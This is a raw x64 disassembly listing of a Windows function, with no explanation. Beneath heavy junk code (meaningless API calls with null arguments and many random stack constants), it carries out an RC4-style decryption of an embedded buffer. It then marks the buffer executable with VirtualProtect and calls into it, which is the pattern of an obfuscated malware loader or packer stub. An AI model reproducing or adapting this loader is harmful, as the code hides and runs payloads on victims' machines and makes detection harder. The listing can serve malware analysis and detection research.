mov qword [rbp + 0xd98], rax
mov byte [rbp + 0x16b3], 0xe4
mov dword [rbp + 0x16ac], 0x8a387e65
mov dword [rbp + 0xd8c], 0x1f479724
mov dword [rbp + 0xd90], 0x3f325aca
mov dword [rbp + 0xd94], 0xff10e163
mov dword [rbp + 0x16a8], 0x1778f2e7
mov ecx, 0
call sub.IPHLPAPI.DLL_SetIpNetEntry
mov dword [rbp + 0x16a4], eax
mov dword [rbp + 0x16a0], 0x871da20e
movabs rax, 0x43f4d0c50e47dcaa
mov qword [rbp + 0xd83], rax
mov byte [rbp + 0xd8b], 0xb2
cmp dword [rbp + 0x16a4], 0
setne al
mov byte [rbp + 0x169f], al
mov dword [rbp + 0xd60], 1
mov dword [rbp + 0xd64], 1
mov dword [rbp + 0xd68], 1
mov dword [rbp + 0xd6c], 0
mov dword [rbp + 0xd70], 1
mov dword [rbp + 0xd74], 0
mov dword [rbp + 0x1698], 0x4b582eee
mov dword [rbp + 0xd30], 0x3d513342
mov dword [rbp + 0xd34], 0x4478d031
mov dword [rbp + 0xd38], 0xd212b249
mov dword [rbp + 0xd3c], 0x197c5239
mov dword [rbp + 0xd40], 0xa43cbe44
mov dword [rbp + 0xd44], 0x13e84cd7
mov dword [rbp + 0xd48], 0x4d500f5b
mov dword [rbp + 0xd4c], 0x2329c513
mov dword [rbp + 0xd50], 0xd3aa2b85
mov dword [rbp + 0xd54], 0xaad8b9f1
movsd xmm0, qword [0x66a12a40]
movsd qword [rbp + 0x1690], xmm0
mov word [rbp + 0xd2a], 0x8592
mov word [rbp + 0xd2c], 0xb1d5
mov word [rbp + 0xd2e], 0xb95e
mov dword [rbp + 0xd00], 0x24a528cc
mov dword [rbp + 0xd04], 0x65173830
mov dword [rbp + 0xd08], 0x1f311be2
mov dword [rbp + 0xd0c], 0xf02b6ddd
mov dword [rbp + 0xd10], 0xd9647c05
mov dword [rbp + 0xd14], 0xc792e399
mov dword [rbp + 0xd18], 0xb822a45b
mov ecx, 0
call sub.IPHLPAPI.DLL_GetTcpStatistics
mov dword [rbp + 0x168c], eax
movsd xmm0, qword [0x66a12a48]
movsd qword [rbp + 0x1680], xmm0
mov word [rbp + 0x167e], 0x8fd8
mov word [rbp + 0xbe0], 0xcac1
mov word [rbp + 0xbe2], 0x3b09
mov word [rbp + 0xbe4], 0xf9a1
mov word [rbp + 0xbe6], 0x6f8
mov word [rbp + 0xbe8], 0x80a7
mov word [rbp + 0xbea], 0xfbae
mov word [rbp + 0xbec], 0x2bd9
mov word [rbp + 0xbee], 0xd56d
mov word [rbp + 0xbf0], 0x66a0
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov qword [rbp + 0x1670], rax
mov rax, qword [rbp + 0x1670]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp + 0x1858], 0
mov word [rbp + 0x166e], 0xbbcd
mov word [rbp + 0xbd6], 0xc52a
mov word [rbp + 0xbd8], 0xcbf7
mov word [rbp + 0xbda], 0x41d6
mov word [rbp + 0xbdc], 0x2dc0
mov word [rbp + 0xbde], 0x9901
mov dword [rbp + 0x1854], 0
mov dword [rbp + 0xbb0], 0x8630ef61
mov dword [rbp + 0xbb4], 0x84777f7b
mov dword [rbp + 0xbb8], 0x37e7752c
mov dword [rbp + 0xbbc], 0xcc9fa312
mov dword [rbp + 0xbc0], 0xe3f29a1
mov dword [rbp + 0xbc4], 0x42c0b8bf
mov dword [rbp + 0xbc8], 0xb32a0ec1
mov dword [rbp + 0xbcc], 0xa29ae1b6
mov dword [rbp + 0x1668], 0xfb8e5f0b
mov dword [rbp + 0x1858], 0
jmp 0x66983b1e
mov word [rbp + 0x1d4], 0x3bc3
mov word [rbp + 0x1d6], 0x3c3c
mov word [rbp + 0x1d8], 0x2184
mov word [rbp + 0x1da], 0xde11
mov word [rbp + 0x1dc], 0x9191
mov word [rbp + 0x1de], 0xee90
mov word [rbp + 0x1c8], 0xb143
mov word [rbp + 0x1ca], 0xf7e1
mov word [rbp + 0x1cc], 0xb710
mov word [rbp + 0x1ce], 0xafe7
mov word [rbp + 0x1d0], 0xf365
mov word [rbp + 0x1d2], 0xc61c
mov eax, dword [rbp + 0x1858]
mov edx, eax
mov eax, dword [rbp + 0x1858]
cdqe
mov byte [rbp + rax + 0xc00], dl
mov dword [rbp + 0x1b0], 0x4199744c
mov dword [rbp + 0x1b4], 0x10ab7588
mov dword [rbp + 0x1b8], 0x2f82a535
mov dword [rbp + 0x1bc], 0x3c52695e
mov dword [rbp + 0x1c0], 0x7d81bc92
mov word [rbp + 0x1aa], 0x6c3c
mov word [rbp + 0x1ac], 0xca25
mov word [rbp + 0x1ae], 0x3f78
add dword [rbp + 0x1858], 1
cmp dword [rbp + 0x1858], 0xff
jle 0x66983a47
mov dword [rbp + 0x1664], 0xb4b43f0d
mov eax, dword [rbp + 0x1664]
add eax, 0x315d19ca
mov dword [rbp + 0x1664], eax
movabs rax, 0x3c8f6f5826adaa4c
mov qword [rbp + 0xba6], rax
mov word [rbp + 0xbae], 0xb929
mov dword [rbp + 0x1854], 0
mov eax, dword [rbp + 0x1854]
mov dword [rbp + 0x1858], eax
jmp 0x66983d33
movabs rax, 0x1d3dcb24ab507fef
mov qword [rbp + 0x1a0], rax
mov word [rbp + 0x1a8], 0xaf5b
mov dword [rbp + 0x1500], 0x8daf1f34
mov ecx, dword [rbp + 0x1858]
movsxd rax, ecx
imul rax, rax, 0x2aaaaaab
shr rax, 0x20
mov edx, eax
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
sub ecx, eax
mov edx, ecx
movsxd rax, edx
lea rdx, [0x669c6eb0]
movzx eax, byte [rax + rdx]
xor al, byte [rbp + 0x169f]
movzx edx, al
mov eax, dword [rbp + 0x1854]
add edx, eax
mov eax, dword [rbp + 0x1858]
cdqe
movzx eax, byte [rbp + rax + 0xc00]
movzx eax, al
add edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [rbp + 0x1854], eax
mov eax, dword [rbp + 0x1858]
cdqe
movzx eax, byte [rbp + rax + 0xc00]
mov byte [rbp + 0x14ff], al
mov byte [rbp + 0x14fe], 0x62
mov dword [rbp + 0x14f8], 0xc968cbff
mov eax, dword [rbp + 0x1854]
cdqe
movzx edx, byte [rbp + rax + 0xc00]
mov eax, dword [rbp + 0x1858]
cdqe
mov byte [rbp + rax + 0xc00], dl
movabs rax, 0xc5928c8447413976
mov qword [rbp + 0x197], rax
mov byte [rbp + 0x19f], 0x25
mov dword [rbp - 0x30], 0x416d1eb0
mov dword [rbp - 0x2c], 0xe5c15b3a
mov dword [rbp - 0x28], 0x7cf18c12
mov dword [rbp - 0x24], 0x2f9fae74
mov dword [rbp - 0x20], 0xd5733a32
mov dword [rbp - 0x1c], 0x8a4231cf
mov dword [rbp - 0x18], 0x371c6f02
mov dword [rbp - 0x14], 0xbf3516da
mov dword [rbp - 0x10], 0x8e759471
mov dword [rbp - 0xc], 0x6e29deee
mov eax, dword [rbp + 0x1854]
cdqe
movzx edx, byte [rbp + 0x14ff]
mov byte [rbp + rax + 0xc00], dl
mov dword [rbp + 0x14f4], 0x69c5c741
movsd xmm0, qword [0x66a12a50]
movsd qword [rbp], xmm0
movsd xmm0, qword [0x66a12a58]
movsd qword [rbp + 8], xmm0
movsd xmm0, qword [0x66a12a60]
movsd qword [rbp + 0x10], xmm0
movsd xmm0, qword [0x66a12a68]
movsd qword [rbp + 0x18], xmm0
movsd xmm0, qword [0x66a12a70]
movsd qword [rbp + 0x20], xmm0
movsd xmm0, qword [0x66a12a78]
movsd qword [rbp + 0x28], xmm0
add dword [rbp + 0x1858], 1
cmp dword [rbp + 0x1858], 0xff
jle 0x66983b7e
mov byte [rbp + 0x1663], 0xc5
mov dword [rbp + 0x165c], 0x25f25e59
mov dword [rbp + 0x1854], 0
mov eax, dword [rbp + 0x1854]
mov dword [rbp + 0x1858], eax
mov dword [rbp + 0x1850], 0x40642
jmp 0x66984029
mov word [rbp + 0x1536], 0x651a
mov word [rbp + 0x1534], 0x8127
mov eax, dword [rbp + 0x1858]
lea edx, [rax + 1]
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [rbp + 0x1858], eax
movsd xmm0, qword [0x66a12a80]
movsd qword [rbp + 0x1528], xmm0
movss xmm0, dword [0x66a12a88]
movss dword [rbp + 0x1524], xmm0
mov eax, dword [rbp + 0x1858]
cdqe
movzx eax, byte [rbp + rax + 0xc00]
movzx edx, al
mov eax, dword [rbp + 0x1854]
add edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [rbp + 0x1854], eax
mov dword [rbp], 0x3c1ee21
mov dword [rbp + 4], 0x9e30f4
mov dword [rbp + 8], 0xc60ad5d5
mov dword [rbp + 0xc], 0x72cd3cfd
mov dword [rbp + 0x10], 0x4c7154da
mov dword [rbp + 0x14], 0x6ff24ed3
mov dword [rbp + 0x18], 0x241c3c23
mov dword [rbp + 0x1c], 0x3e66a654
mov dword [rbp + 0x20], 0x6623641f
mov dword [rbp + 0x193], 0x64d4664
movss xmm0, dword [0x66a12a8c]
movss dword [rbp + 0x170], xmm0
movss xmm0, dword [0x66a12a90]
movss dword [rbp + 0x174], xmm0
movss xmm0, dword [0x66a12a94]
movss dword [rbp + 0x178], xmm0
movss xmm0, dword [0x66a12a98]
movss dword [rbp + 0x17c], xmm0
movss xmm0, dword [0x66a12a9c]
movss dword [rbp + 0x180], xmm0
mov edx, 0
mov ecx, 0
call sub.IPHLPAPI.DLL_GetUniDirectionalAdapterInfo
mov dword [rbp + 0x1520], eax
mov eax, dword [rbp + 0x1854]
cdqe
movzx eax, byte [rbp + rax + 0xc00]
mov byte [rbp + 0x151f], al
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_BeginPath]
call rax
mov dword [rbp + 0x1518], eax
mov dword [rbp + 0x1514], 0xa552f9a6
mov eax, dword [rbp + 0x1858]
cdqe
movzx edx, byte [rbp + rax + 0xc00]
mov eax, dword [rbp + 0x1854]
cdqe
mov byte [rbp + rax + 0xc00], dl
mov byte [rbp + 0x1513], 0x99
movss xmm0, dword [0x66a12aa0]
movss dword [rbp + 0x160], xmm0
movss xmm0, dword [0x66a12aa4]
movss dword [rbp + 0x164], xmm0
movss xmm0, dword [0x66a12aa8]
movss dword [rbp + 0x168], xmm0
movss xmm0, dword [0x66a12aac]
movss dword [rbp + 0x16c], xmm0
mov eax, dword [rbp + 0x1858]
cdqe
movzx edx, byte [rbp + 0x151f]
mov byte [rbp + rax + 0xc00], dl
mov word [rbp + 0x150], 0xe11a
mov word [rbp + 0x152], 0xb887
mov word [rbp + 0x154], 0xf7e1
mov word [rbp + 0x156], 0xea1c
mov word [rbp + 0x158], 0x9cc2
mov word [rbp + 0x15a], 0x18d5
mov word [rbp + 0x15c], 0x25ca
mov word [rbp + 0x15e], 0xfc90
mov dword [rbp + 0x150c], 0xe828bcba
mov dword [rbp + 0x1508], 0x1205a8bb
mov eax, dword [rbp + 0x1850]
movsxd rdx, eax
mov rax, qword [rbp + 0x1830]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x1854]
cdqe
movzx edx, byte [rbp + rax + 0xc00]
movzx eax, byte [rbp + 0x151f]
add eax, edx
movzx eax, al
cdqe
movzx eax, byte [rbp + rax + 0xc00]
mov r8d, eax
mov eax, dword [rbp + 0x1850]
movsxd rdx, eax
mov rax, qword [rbp + 0x1830]
add rax, rdx
xor ecx, r8d
mov edx, ecx
mov byte [rax], dl
mov word [rbp + 0x1506], 0xaefc
mov word [rbp + 0x1504], 0xdfc0
add dword [rbp + 0x1850], 1
cmp dword [rbp + 0x1850], 0x80c83
jle 0x66983d79
mov dword [rbp + 0xb90], 0x57b33975
mov dword [rbp + 0xb94], 0x26b3ea63
mov dword [rbp + 0xb98], 0x3ccda494
mov dword [rbp + 0xb9c], 0xc6512d9f
mov dword [rbp + 0xba0], 0x367c254
mov dword [rbp + 0xb89], 0x283e7169
mov word [rbp + 0xb8d], 0xd3cf
mov byte [rbp + 0xb8f], 0x19
mov dword [rbp + 0x1658], 0x574696a5
mov dword [rbp + 0x1654], 0xa85131b6
mov dword [rbp + 0xb70], 1
mov dword [rbp + 0xb74], 1
mov dword [rbp + 0xb78], 1
mov dword [rbp + 0xb7c], 1
mov dword [rbp + 0xb80], 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call sub.IPHLPAPI.DLL_GetPerAdapterInfo
mov dword [rbp + 0x1650], eax
mov dword [rbp + 0xb68], 0xb6b60c5
lea rdx, [rbp + 0xb6c]
mov rax, qword [rbp + 0x1830]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x80c84
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movss xmm0, dword [0x66a12ab0]
movss dword [rbp + 0xb50], xmm0
movss xmm0, dword [0x66a12ab4]
movss dword [rbp + 0xb54], xmm0
movss xmm0, dword [0x66a12ab8]
movss dword [rbp + 0xb58], xmm0
movss xmm0, dword [0x66a12abc]
movss dword [rbp + 0xb5c], xmm0
movss xmm0, dword [0x66a12ac0]
movss dword [rbp + 0xb60], xmm0
movabs rax, 0x7ca6deb3d1acf004
mov qword [rbp + 0xb47], rax
mov byte [rbp + 0xb4f], 0x72
mov dword [rbp + 0x164c], 0xc1df9b7
mov dword [rbp + 0xb40], 0x9e7eab7b
mov word [rbp + 0xb44], 0xbf9f
mov byte [rbp + 0xb46], 3
add qword [rbp + 0x1830], 0x40642
mov word [rbp + 0xb38], 0xd109
mov word [rbp + 0xb3a], 0x1a05
mov word [rbp + 0xb3c], 0x2c96
mov word [rbp + 0xb3e], 0xe36f
mov byte [rbp + 0x164b], 0x68
mov dword [rbp + 0x1644], 1
movsd xmm0, qword [0x66a12ac8]
movsd qword [rbp + 0xb00], xmm0
movsd xmm0, qword [0x66a12ad0]
movsd qword [rbp + 0xb08], xmm0
movsd xmm0, qword [0x66a12ad8]
movsd qword [rbp + 0xb10], xmm0
movsd xmm0, qword [0x66a12ae0]
movsd qword [rbp + 0xb18], xmm0
movsd xmm0, qword [0x66a12ae8]
movsd qword [rbp + 0xb20], xmm0
movsd xmm0, qword [0x66a12af0]
movsd qword [rbp + 0xb28], xmm0
movsd xmm0, qword [0x66a12af8]
movsd qword [rbp + 0xb30], xmm0
mov dword [rbp + 0xaf0], 0xe697c986
mov dword [rbp + 0xaf4], 0x58870689
mov dword [rbp + 0xaf8], 0x1de8693c
mov dword [rbp + 0xafc], 0x873c8f7
mov word [rbp + 0x1642], 0x6553
mov word [rbp + 0xae0], 0x3ee4
mov word [rbp + 0xae2], 0x3666
mov word [rbp + 0xae4], 0x8459
mov word [rbp + 0xae6], 0x3d52
mov word [rbp + 0xae8], 0xea40
mov word [rbp + 0xaea], 0x4f9
mov word [rbp + 0xaec], 0xc4e9
mov word [rbp + 0xaee], 0xa2e
mov word [rbp + 0x1640], 0x2d59
mov dword [rbp + 0xac0], 1
mov dword [rbp + 0xac4], 0
mov dword [rbp + 0xac8], 1
mov dword [rbp + 0xacc], 1
mov dword [rbp + 0xad0], 0
mov dword [rbp + 0xad4], 1
mov dword [rbp + 0xad8], 1
mov dword [rbp + 0xadc], 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov dword [rbp + 0x163c], eax
mov word [rbp + 0x1640], 0x38
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_EnumEnhMetaFile]
call rax
mov dword [rbp + 0x1638], eax
mov word [rbp + 0x1636], 0x8b96
mov dword [rbp + 0x1630], 0
mov dword [rbp + 0x162c], 0x17668510
mov dword [rbp + 0xab0], 0x3f1f390c
mov dword [rbp + 0xab4], 0x876e697e
mov dword [rbp + 0xab8], 0x47bfc843
mov dword [rbp + 0xabc], 0x9cdfc1d9
mov dword [rbp + 0xaa0], 0xb20fd157
mov dword [rbp + 0xaa4], 0xbc3572bc
mov dword [rbp + 0xaa8], 0x3d649f22
mov dword [rbp + 0xaac], 0x2109c1c6
mov rax, qword [rbp + 0x1830]
mov qword [rbp + 0x1620], rax
movsd xmm0, qword [0x66a12b00]
movsd qword [rbp + 0xa80], xmm0
movsd xmm0, qword [0x66a12b08]
movsd qword [rbp + 0xa88], xmm0
movsd xmm0, qword [0x66a12b10]
movsd qword [rbp + 0xa90], xmm0
mov dword [rbp + 0x161c], 0xe8b7a80d
mov rax, qword [rbp + 0x1620]
call rax
mov dword [rbp + 0xa60], 0xd32b4d96
mov dword [rbp + 0xa64], 0x450cf3d0
mov dword [rbp + 0xa68], 0x38044dd9
mov dword [rbp + 0xa6c], 0x675c9440
mov dword [rbp + 0xa70], 0x15c2a766
mov dword [rbp + 0xa74], 0x38b13f39
mov dword [rbp + 0xa78], 0x5dd770e9
mov dword [rbp + 0xa7c], 0xec17a1ad
mov dword [rbp + 0xa59], 0xd20dd39
mov word [rbp + 0xa5d], 0xef1a
mov byte [rbp + 0xa5f], 0xd3
movss xmm0, dword [0x66a12b18]
movss dword [rbp + 0xa40], xmm0
movss xmm0, dword [0x66a12b1c]
movss dword [rbp + 0xa44], xmm0
movss xmm0, dword [0x66a12b20]
movss dword [rbp + 0xa48], xmm0
movss xmm0, dword [0x66a12b24]
movss dword [rbp + 0xa4c], xmm0
movss xmm0, dword [0x66a12b28]
movss dword [rbp + 0xa50], xmm0
mov dword [rbp + 0xa39], 0xccb5f691
mov word [rbp + 0xa3d], 0x15e9
mov byte [rbp + 0xa3f], 0x92
mov dword [rbp + 0xa2c], 0
mov dword [rbp + 0xa30], 0
mov dword [rbp + 0xa34], 1
mov dword [rbp + 0x1618], 0x69517b6e
mov ecx, 0
call sub.IPHLPAPI.DLL_IpRenewAddress
mov dword [rbp + 0x1614], eax
mov dword [rbp + 0x1610], 0xa590e521
mov dword [rbp + 0x160c], 0x410e5a8c
movabs rax, 0xc980fbebf1fe71cc
mov qword [rbp + 0xa22], rax
mov word [rbp + 0xa2a], 0xecc5
mov word [rbp + 0x160a], 0x38b0
mov word [rbp + 0x1608], 0xa660
mov byte [rbp + 0x1607], 0xb
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_ArcTo]
call rax
mov dword [rbp + 0x1600], eax
mov dword [rbp + 0x9f0], 0x7e699f98
mov dword [rbp + 0x9f4], 0xd5c27e88
mov dword [rbp + 0x9f8], 0x11b234a8
mov dword [rbp + 0x9fc], 0xf88cdf5b
mov dword [rbp + 0xa00], 0x8e60a4b9
mov dword [rbp + 0xa04], 0x74a2ece
mov dword [rbp + 0xa08], 0x869d4e19
mov dword [rbp + 0xa0c], 0x51537113
mov dword [rbp + 0xa10], 0x889fb85f
mov word [rbp + 0x9d0], 0x3df8
mov word [rbp + 0x9d2], 0x319
mov word [rbp + 0x9d4], 0xf909
mov word [rbp + 0x9d6], 0xc2a1
mov word [rbp + 0x9d8], 0x67c0
mov word [rbp + 0x9da], 0x95f
mov word [rbp + 0x9dc], 0x967b
mov word [rbp + 0x9de], 0x9664
mov word [rbp + 0x9e0], 0x3b4a
mov word [rbp + 0x9e2], 0xb801
mov word [rbp + 0x15fe], 0xf9b3
movzx eax, word [rbp + 0x15fe]
add ax, 0x5ca0
mov word [rbp + 0x15fe], ax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateDCA]
call rax
mov qword [rbp + 0x15f0], rax
mov dword [rbp + 0x9a0], 0x4debc18d
mov dword [rbp + 0x9a4], 0x6c0fe746
mov dword [rbp + 0x9a8], 0xd402a3e3
mov dword [rbp + 0x9ac], 0x2e9af9df
mov dword [rbp + 0x9b0], 0x4f060d86
mov dword [rbp + 0x9b4], 0x94f97cbc
mov dword [rbp + 0x9b8], 0x873db372
mov dword [rbp + 0x9bc], 0xb1119f8e
mov dword [rbp + 0x9c0], 0x70c62d29
mov dword [rbp + 0x9c4], 0x5a498864
mov dword [rbp + 0x15ec], 0
mov dword [rbp + 0x15ec], 0
mov dword [rbp + 0x1344], 0x3f7a5bca
mov byte [rbp + 0x1343], 0x8f
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_HeapDestroy]
call rax
mov dword [rbp + 0x133c], eax
mov dword [rbp + 0x1338], 0x43c39189
nop
mov dword [rbp + 0x994], 0x3700ee71
mov dword [rbp + 0x998], 0x7089e2b5
mov dword [rbp + 0x99c], 0xdeca9a11
mov word [rbp + 0x15ea], 0xaa7a
mov word [rbp + 0x15e8], 0x2903
mov word [rbp + 0x15e6], 0xe169
mov dword [rbp + 0x1364], 0xe107ea85
mov word [rbp + 0x1362], 0x2f31
mov byte [rbp + 0x1361], 0x5e
mov dword [rbp + 0x6ec], 0xb74e0bbe
movsx eax, byte [rbp + 0x1361]
mov dword [rbp + 0x135c], eax
jmp 0x6698480c
mov byte [rbp + 0x1361], 0xe8
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateICW]
call rax
mov qword [rbp + 0x1350], rax
add dword [rbp + 0x135c], 1
movsx eax, byte [rbp + 0x1361]
cmp dword [rbp + 0x135c], eax
jge 0x669847d8
mov word [rbp + 0x6ca], 0xf61e
mov word [rbp + 0x6cc], 0x46e7
mov word [rbp + 0x6ce], 0x7fc3
movabs rax, 0xb0db02489ee4513d
mov qword [rbp + 0x6c1], rax
mov byte [rbp + 0x6c9], 0x4f
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.GDI32.dll_CreateICW]
call rax
mov qword [rbp + 0x1348], rax
nop
movss xmm0, dword [0x66a12b2c]
movss dword [rbp + 0x15e0], xmm0
mov dword [rbp + 0x98f], 0x322a0dd2
mov byte [rbp + 0x993], 0xf0
mov byte [rbp + 0x136f], 0x8f
mov word [rbp + 0x136c], 0x18b7
mov word [rbp + 0x136a], 0x1ca5
movzx edx, word [rbp + 0x136a]
movzx eax, word [rbp + 0x136a]
imul eax, edx
mov word [rbp + 0x136a], ax
nop
mov dword [rbp + 0x15dc], 0
movabs rax, 0x62fc25c4fa20a29e
mov qword [rbp + 0x986], rax
mov byte [rbp + 0x98e], 0x44
mov dword [rbp + 0x980], 0xefd4b3e
mov word [rbp + 0x984], 0x4225
mov word [rbp + 0x15da], 0x271b
mov byte [rbp + 0x137b], 0xa2
mov word [rbp + 0x1378], 0x1ff8
movss xmm0, dword [0x66a12b30]
movss dword [rbp + 0x6a0], xmm0
movss xmm0, dword [0x66a12b34]
movss dword [rbp + 0x6a4], xmm0
movss xmm0, dword [0x66a12b38]
movss dword [rbp + 0x6a8], xmm0
movss xmm0, dword [0x66a12b3c]
movss dword [rbp + 0x6ac], xmm0
movss xmm0, dword [0x66a12b40]
movss dword [rbp + 0x6b0], xmm0
movss xmm0, dword [0x66a12b44]
movss dword [rbp + 0x6b4], xmm0
mov dword [rbp + 0x1374], 0xef71
jmp 0x669849c5
mov dword [rbp + 0x680], 0x69971144
mov dword [rbp + 0x684], 0x9d01541e
mov dword [rbp + 0x688], 0x317fcf57
mov dword [rbp + 0x68c], 0xa4c4594a
mov dword [rbp + 0x690], 0xb927122f
mov dword [rbp + 0x1370], 0x32fbc037
sub dword [rbp + 0x1374], 1
cmp dword [rbp + 0x1374], 0xfd75
je 0x66984982
movabs rax, 0x64a753813ac122aa
mov qword [rbp + 0x696], rax
mov word [rbp + 0x69e], 0x5b1a
nop
mov dword [rbp + 0x960], 0x6bb20d65
mov dword [rbp + 0x964], 0x1f962969
mov dword [rbp + 0x968], 0x68529d36
mov dword [rbp + 0x96c], 0xffa91f6
mov dword [rbp + 0x970], 0x231207c9
mov dword [rbp + 0x974], 0x56409b62
mov dword [rbp + 0x978], 0xce6971a4
movss xmm0, dword [0x66a12b48]
movss dword [rbp + 0x15d4], xmm0
mov byte [rbp + 0x138f], 0x6b
mov byte [rbp + 0x138e], 0x1a
movsd xmm0, qword [0x66a12b50]
movsd qword [rbp + 0x1380], xmm0
mov word [rbp + 0x137e], 0xfa3f
mov word [rbp + 0x60c], 0x5290
mov word [rbp + 0x60e], 0x4768
mov word [rbp + 0x610], 0x7c6b
mov word [rbp + 0x612], 0xde14
mov word [rbp + 0x614], 0x7748
mov word [rbp + 0x616], 0xd14
movsd xmm0, qword [0x66a12b58]
movsd qword [rbp], xmm0
movsd xmm0, qword [0x66a12b60]
movsd qword [rbp + 8], xmm0
movsd xmm0, qword [0x66a12b68]
movsd qword [rbp + 0x10], xmm0
movsd xmm0, qword [0x66a12b70]
movsd qword [rbp + 0x18], xmm0
mov dword [rbp + 0x674], 0xeafff992
mov dword [rbp + 0x678], 0x428cac87
mov dword [rbp + 0x67c], 0x46f46208
mov word [rbp + 0x137c], 0x9a63
nop
mov byte [rbp + 0x15d3], 0x74
mov dword [rbp + 0x940], 0xec6db163
mov dword [rbp + 0x944], 0x877e7b54
mov dword [rbp + 0x948], 0xf5ebb3fe
mov dword [rbp + 0x94c], 0x18384fe1
mov dword [rbp + 0x950], 0x12b71b61
mov dword [rbp + 0x954], 0xaf0be568
mov dword [rbp + 0x958], 0x4319fa76
movabs rax, 0xdb0a23c343d9fe07
mov qword [rbp + 0x937], rax
mov byte [rbp + 0x93f], 0xd8
mov dword [rbp + 0x920], 0xcf6e5e2b
mov dword [rbp + 0x924], 0x951e0608
mov dword [rbp + 0x928], 0x47b4e8a7
mov dword [rbp + 0x92c], 0xc3a2f503
mov dword [rbp + 0x930], 0x6a684cd5
mov word [rbp + 0x139a], 0xe086
mov word [rbp + 0x1398], 0x9ce9
mov dword [rbp + 0x1394], 0x2e5f
cmp dword [rbp + 0x1394], 0xaab5
mov dword [rbp + 0x1390], 1
movss xmm0, dword [0x66a12b78]
movss dword [rbp], xmm0
movss xmm0, dword [0x66a12b7c]
movss dword [rbp + 4], xmm0
movss xmm0, dword [0x66a12b80]
movss dword [rbp + 8], xmm0
movss xmm0, dword [0x66a12b84]
movss dword [rbp + 0xc], xmm0
movss xmm0, dword [0x66a12b88]
movss dword [rbp + 0x10], xmm0
movss xmm0, dword [0x66a12b8c]
movss dword [rbp + 0x14], xmm0
movss xmm0, dword [0x66a12b90]
movss dword [rbp + 0x18], xmm0
movss xmm0, dword [0x66a12b94]
movss dword [rbp + 0x1c], xmm0
mov dword [rbp + 0x5eb], 0x18b48b13
mov byte [rbp + 0x5ef], 0xc0
mov dword [rbp], 0x95327b0e
mov dword [rbp + 4], 0xe6eaf4db
mov dword [rbp + 8], 0xe421b1df
mov dword [rbp + 0xc], 0xe3b394f2
mov dword [rbp + 0x10], 0x8b3b5ed9
mov dword [rbp + 0x14], 0xbd1bd48a
mov dword [rbp + 0x18], 0xeb4be10e
mov dword [rbp + 0x1c], 0x2b1dc8aa
mov dword [rbp + 0x20], 0x3351ce1c
mov dword [rbp + 0x24], 0xf58dc54e
mov dword [rbp + 0x5f0], 1
mov dword [rbp + 0x5f4], 0
mov dword [rbp + 0x5f8], 0
mov dword [rbp + 0x5fc], 0
nop
mov word [rbp + 0x91a], 0x63c8
mov word [rbp + 0x91c], 0x90f7
mov word [rbp + 0x91e], 0x2a69
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeaps]
call rax
mov dword [rbp + 0x15cc], eax
mov dword [rbp + 0x900], 0x7a889d27
mov dword [rbp + 0x904], 0x4a4713e4
mov dword [rbp + 0x908], 0x46cc32e9
mov dword [rbp + 0x90c], 0x16d87333
mov dword [rbp + 0x910], 0x1694922d
mov dword [rbp + 0x914], 0x10991fae
mov dword [rbp + 0x5ab], 0x1e28185d
mov dword [rbp + 0x13a0], 0x18d58dfc
mov eax, dword [rbp + 0x13a0]
mov dword [rbp + 0x139c], eax
mov eax, dword [rbp + 0x13a0]
cmp eax, dword [rbp + 0x139c]
jg 0x66984d9c
mov word [rbp + 0x5a2], 0xdc3f
mov word [rbp + 0x5a4], 0x645c
mov word [rbp + 0x5a6], 0xa304
mov word [rbp + 0x5a8], 0x935d
movsd xmm0, qword [0x66a12b98]
movsd qword [rbp + 0x580], xmm0
movsd xmm0, qword [0x66a12ba0]
movsd qword [rbp + 0x588], xmm0
movsd xmm0, qword [0x66a12ba8]
movsd qword [rbp + 0x590], xmm0
add dword [rbp + 0x13a0], 1
nop
mov byte [rbp + 0x15cb], 0x19
movsd xmm0, qword [0x66a12bb0]
movsd qword [rbp + 0x15c0], xmm0
movss xmm0, dword [0x66a12bb8]
movss dword [rbp + 0x8e0], xmm0
movss xmm0, dword [0x66a12bbc]
movss dword [rbp + 0x8e4], xmm0
movss xmm0, dword [0x66a12bc0]
movss dword [rbp + 0x8e8], xmm0
movss xmm0, dword [0x66a12bc4]
movss dword [rbp + 0x8ec], xmm0
movss xmm0, dword [0x66a12bc8]
movss dword [rbp + 0x8f0], xmm0
movss xmm0, dword [0x66a12bcc]
movss dword [rbp + 0x8f4], xmm0
movss xmm0, dword [0x66a12bd0]
movss dword [rbp + 0x8f8], xmm0
mov word [rbp + 0x15be], 0xde07
mov dword [rbp + 0x13b4], 0xf732
jmp 0x66984e6a
mov dword [rbp + 0x13b0], 0x6f17a4b1
